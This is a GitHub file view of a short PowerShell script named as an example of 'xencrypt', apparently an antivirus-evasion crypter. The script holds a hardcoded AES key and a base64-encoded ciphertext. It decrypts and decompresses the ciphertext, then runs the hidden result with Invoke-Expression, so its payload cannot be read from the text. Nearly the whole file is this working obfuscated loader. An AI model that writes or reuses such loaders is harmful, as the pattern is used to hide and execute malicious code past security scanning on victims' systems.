-
Notifications
You must be signed in to change notification settings - Fork 85
/
xencrypt_example.ps1
19 lines (19 loc) · 976 Bytes
/
xencrypt_example.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# https://pastebin.com/QUGiWTHj
$cfii = [System.Convert]::FromBase64String("zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ=")
$vcqw = New-Object "System.Security.Cryptography.AesManaged"
$hctqdvb = [System.Convert]::FromBase64String("iLwgysA+ONk7XmrxKXagmRHh2a8v7JFj/xoQddCTkQN91XcJesX5FjXQuwudVJBtzokdOrTlq+4ymOvaMKYKwA==")
$vcqw.BlockSize = 128
$vcqw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$vcqw.Mode = [System.Security.Cryptography.CipherMode]::CBC
$vcqw.KeySize = 256
$vcqw.Key = $cfii
$vcqw.IV = $hctqdvb[0..15]
$yitexde = New-Object System.IO.MemoryStream(,$vcqw.CreateDecryptor().TransformFinalBlock($hctqdvb,16,$hctqdvb.Length-16))
$rosvmap = New-Object System.IO.MemoryStream
$bweg = New-Object System.IO.Compression.GzipStream $yitexde, ([IO.Compression.CompressionMode]::Decompress)
$bweg.CopyTo($rosvmap)
$vcqw.Dispose()
$yitexde.Close()
$korri = [System.Text.Encoding]::UTF8.GetString($rosvmap.ToArray())
$bweg.Close()
Invoke-Expression($korri)